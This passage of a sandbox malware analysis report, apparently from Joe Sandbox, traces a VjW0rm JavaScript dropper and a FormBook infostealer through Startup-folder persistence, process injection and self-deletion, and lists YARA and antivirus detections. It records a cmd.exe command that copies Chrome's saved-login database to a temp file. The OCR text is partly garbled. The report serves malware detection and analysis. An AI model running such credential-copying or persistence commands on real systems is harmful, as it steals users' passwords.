privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Path

File Written

File Path

C:\Users\user\AppData\Roaming\ 0

4
19:03:02
27/05/2022

C:\Windows\System32\wscript.exe

false

New Data

Completion

Completion

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\RmiljXZkdd.js"

0x7ff743d80000
163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

true

true

C, C++ or other language

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000004.00000003.422284630.0000014D0B276000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000004.00000002.927889080.0000014D0B272000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000004.00000002.923762236.0000014D095CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000004.00000003.422300954.0000014D0B276000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000004.00000002.923787188.0000014D095D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

high

Offset

Microsoft\Windows\Start Menu\P
rograms\Startup\RmiljXZkdd.js

Copyright Joe Security LLC 2022

Length

11475

Access

Value

7€28214172726179
2e 70 72 6f 74 6f 74 79
70 65 2e 66 6f 72 45 61
63 68 20 3f 20 41 72 72
61 79 2e 70 72 6f 74 6f
7479 70 65 2e 66 6f 72
45 61 63 68 20 3d 20 66
75 6e 63 74 69 6f 6e 20
28 63 61 6¢ 6¢ 62 61 63
6b 2¢c 20 74 68 69 73 41
72 67 29 20 7b Oa 20 20
202074 68 69 734172
67 20 3d 20 74 68 69 73
4172 67 3b 0a 20 20 20
20 66 6f 72 20 28 76 61
72 20 69 20 3d 20 30 3b
20 69 20 3c 20 74 68 69
73 2e 6¢ 65 6e 67 74 68
3b 20 69 2b 2b 29 20 7b
0Oa 20 20 20 20 20 20 20
20 63 61 6¢ 6¢ 62 61 63
6b 2e 63 61 6¢ 6¢ 28 74
68 69 73 41 72 67 2¢ 20
74 68 69 73 5b 69 5d 2c
20 69 2c 20 74 68 69 73
29 3b 0a 20 20 20 20 7d
Oa 7d 20 3a 20 30 2c 20
214172726179 2e70
72 6f 74 6f 74 79 70 65
2e 6d 61 70 20 3f 20 41
72726179 2e 70 72 6f
74 6f74 7970 65 2e

Attributes

Options

Ascii
('Array.prototype.forEach
? Array.prototype.forEach
= function (callback,
thisArg) { thisArg =
thisArg; for (vari=0;i
< this.length; i++) {
callback.call(thisArg,
this[i], i, this); }}: 0,
!Array.prototype.map ?
Array.prototype.

Completion

Completion

success or wait

Count Source Address

Count Source
Address

Count Source Address

Count Source Address

1 7TFFF2ED4700A

Symbol

Symbol

Symbol

Symbol

CopyFilew
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File Path Offset Length Completion Count Source Address Symbol

Analysis Process: wscript.exe PID: 1272, Parent PID: 3688

General

Target ID: 7

Start time: 19:03:11

Start date: 27/05/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\RmiljXZkdd.js"
Imagebase: 0x7ff743d80000

File size: 163840 bytes

MDS5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000007.00000002.922485204.0000026A515F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000007.00000002.922294824.0000026A4F89A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

* Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source:
00000007.00000002.922283429.0000026A4F890000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000007.00000002.922283429.0000026A4F890000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

Analysis Process: wscript.exe PID: 6040, Parent PID: 3688

General

Target ID: 8

Start time: 19:03:21

Start date: 27/05/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RmiljXZkdd.js"
Imagebase: 0x7ff743d80000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWOrm, Source:

00000008.00000002.931430128.0000020FBE071000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

* Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source:
00000008.00000002.921876626.0000020FBC1E8000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0Orm, Source:
00000008.00000002.921876626.0000020FBC1E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0Orm, Source:
00000008.00000003.465086435.0000020FBE075000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0Orm, Source:
00000008.00000003.464882412.0000020FBE075000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source:
00000008.00000002.921864833.0000020FBC1DE000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWOrm, Source:
00000008.00000002.921864833.0000020FBC1DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol
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Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

. Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Analysis Process: help.exe PID: 5440, Parent PID: 3688

General

Target ID: 9

Start time: 19:03:35

Start date: 27/05/2022

Path: C:\Windows\SysWOW64\help.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\help.exe

Imagebase: 0x13c0000

File size: 10240 bytes

MD5 hash: 09A715036F14D3632AD03B52D1DA6BFF

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000009.00000002.930406757.00000000035D7000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000009.00000002.930406757.00000000035D7000.00000004.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.930406757.00000000035D7000.00000004.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.907157979.00000000004B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000009.00000002.907157979.00000000004B0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.907157979.00000000004B0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.907218726.0000000000700000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000009.00000002.907218726.0000000000700000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000009.00000002.907218726.0000000000700000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000009.00000002.907579825.00000000007AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000009.00000002.907579825.00000000007AD000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000009.00000002.907579825.00000000007AD000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000009.00000002.907268492.0000000000730000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000009.00000002.907268492.0000000000730000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

Rule: Formbook, Description: detect Formbook in memory, Source:

00000009.00000002.907268492.0000000000730000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

3

.

.

Reputation: moderate

File Activities

File Path Access Attributes Options Completion Count Source Address Symbol
File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 ACA417 NtReadFile
Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
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Key Path

Key Path

Name Type Data

Analysis Process: cmd.exe PID: 4252, Parent PID: 5440

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

10

19:03:44

27/05/2022

C:\Windows\SysWOW64\cmd.exe

true

/c del "C:\Users\user\AppData\Local\Temp\bin.exe"
0xed0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D

true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: conhost.exe PID: 4228, Parent PID: 4252

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

11

19:03:45

27/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff6406f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: cmd.exe PID: 1348, Parent PID: 5440

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

16

19:04:45

27/05/2022
C:\Windows\SysWOW64\cmd.exe

true

Count Source Address

Count Source Address

Count Source Address

/c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V

0xed0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true
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Programmed in:

File Activities

File Created

File Path

C:\Users\user\AppData\Local\Temp\DB1

File Written

File Path

C:\Users\user\AppData\Local\Te 0

mp\DB1

File Read

File Path

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login

Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login

Data

C:\Users\user\AppData\Local\Temp\DB1

C, C++ or other language

Access Attributes Options

read data or list ~ device
directory | read

attributes |

delete | write dac

| synchronize |

generic read |

generic write

Offset Length Value Ascii

40960 53 51 4c 69 74 65 20 66
6f 72 6d 61 74 20 33 00

08 00 01 01 00 40 20 20
00 00 00 01 00 00 00 14
00 00 00 00 00 00 00 00
00 00 00 Ob 00 00 00 04
00 00 00 00 00 00 00 00
00 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 01
00 2e 43 fd 05 00 00 00

01 07 fd 00 00 00 00 10

07 fd 00 00 00 00 00 00

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

SQLite format 3@ .C

Offset Length

unknown 512
65024

unknown

unknown 40960

Analysis Process: conhost.exe PID: 1860, Parent PID: 1348

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

17

19:04:45

27/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff783d30000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Copyright Joe Security LLC 2022

sequential only |
non directory file

Completion

success or wait

Completion

success or wait

Completion

success or wait

success or wait

success or wait

Count Source Address

1

Count Source Address

1

1

1

Count Source Address

1

ED4E97

ED4E97

ED5742

EE8CA9

EE8CD3

Symbol

CopyFileEx
w

Symbol

CopyFileExW

Symbol

ReadFile

ReadFile

ReadFile
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Analysis Process: u8g48fgOphzxan.exe PID: 3344, Parent PID: 3688

General

Target ID: 18

Start time: 19:06:32

Start date: 27/05/2022

Path: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe

Wow64 process (32bit):

Commandline:

true

C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe

Imagebase: 0x1200000

File size: 175616 bytes

MDS5 hash: FF568D4337CE1566C4140FA2FEDF8DB8

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000012.00000000.871758579.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000000.871758579.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000000.871758579.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000002.876080332.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000002.876080332.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000002.876080332.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000000.871170118.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000000.871170118.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000000.871170118.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000000.870726795.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000000.870726795.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000000.870726795.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000000.871469677.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000000.871469677.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000000.871469677.0000000001201000.00000020.00000001.01000000.0000000B.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: JPCERT/CC Incident
Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\Irlr8ftbp\u8g48fgOphzxan.exe, Author: JPCERT/CC Incident
Response Group

Antivirus matches: Detection: 100%, Avira

Detection: 100%, Avira

Detection: 100%, Joe Sandbox ML
Detection: 100%, Joe Sandbox ML
Detection: 49%, Metadefender, Browse

Detection: 100%, ReversingLabs

Disassembly

@ No disassembly
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